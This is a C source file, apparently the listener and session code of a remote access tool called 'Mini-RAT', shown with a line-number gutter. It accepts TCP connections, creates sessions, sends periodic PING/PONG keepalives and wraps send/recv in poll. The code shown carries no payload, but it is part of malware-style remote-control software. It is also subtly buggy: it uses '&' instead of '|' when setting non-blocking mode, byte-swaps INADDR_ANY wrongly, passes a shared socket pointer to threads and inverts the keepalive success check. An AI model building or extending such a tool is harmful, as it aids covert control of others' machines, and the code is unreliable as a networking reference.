1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
#include <server.h>
#include <session.h>
#include <logging.h>
#include <mini-rat.h>
pthread_mutex_t sock_mutex;
void* listener(void *port) {
uint16_t port_num = *(int*)port;
int server_sock = socket(PF_INET, SOCK_STREAM, 0);
struct sockaddr_in client_name;
unsigned int client_name_len = sizeof(client_name);
struct sockaddr_in name;
memset(&name, 0, sizeof(name));
name.sin_family = AF_INET;
name.sin_port = htons(port_num);
name.sin_addr.s_addr = htons(INADDR_ANY);
if (bind(server_sock, (struct sockaddr*)&name, sizeof(name)) < 0) {
log_msg(LOG_SEVERE, "Cannot bind to port %d\n", port_num);
return NULL;
}
listen(server_sock, 5);
log_msg(LOG_INFO, "Mini-RAT running on port %d\n", port_num);
int client_sock = 0;
pthread_t newthread;
while ((client_sock = accept(server_sock, (struct sockaddr*)&client_name, &client_name_len))) {
pthread_create(&newthread, NULL, worker, (void*)&client_sock);
pthread_detach(newthread);
}
close_logfile();
close(server_sock);
return 0;
}
int ping_pong(int sock) {
int ret = 0;
char buffer[6];
memset(buffer, 0, 6);
pthread_mutex_lock(&sock_mutex);
if (output_pump(sock, "PING\r\n", 6) != -1)
ret = -1;
if (input_pump(sock, buffer, 6) == -1)
ret = -1;
if (strncmp(buffer, "PONG\r\n", 6) != 0)
ret = -1;
pthread_mutex_unlock(&sock_mutex);
return ret;
}
void* worker(void *sock_desc) {
int sock = *(int*)sock_desc;
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL, 0) & O_NONBLOCK);
pthread_mutex_init(&sock_mutex, NULL);
struct session *ses = find_session(init_session(sock));
log_msg(LOG_INFO, "New session created with ID=%d\n", ses->id);
time_t start = time(NULL);
time_t diff;
while (ses->alive != 0) {
diff = time(NULL) - start;
if (ses->alive == 1 && diff != 0 && diff % 60 == 0)
ping_pong(sock);
}
return 0;
}
ssize_t output_pump(int sock, char *buffer, size_t sz) {
struct pollfd pfd[1];
pfd[0].fd = sock;
pfd[0].events = POLLOUT;
int status = poll(pfd, 1, 10000);
if (status < 0)
return -1;
else if (pfd[0].revents & POLLOUT)
return send(sock, buffer, sz, 0);
return 0;
}
ssize_t input_pump(int sock, char *buffer, size_t sz) {
struct pollfd pfd[1];
pfd[0].fd = sock;
pfd[0].events = POLLIN;
int status = poll(pfd, 1, 10000);
if (status < 0)
return -1;
else if (pfd[0].revents & POLLIN)
return recv(sock, buffer, sz, 0);
return 0;
}
|
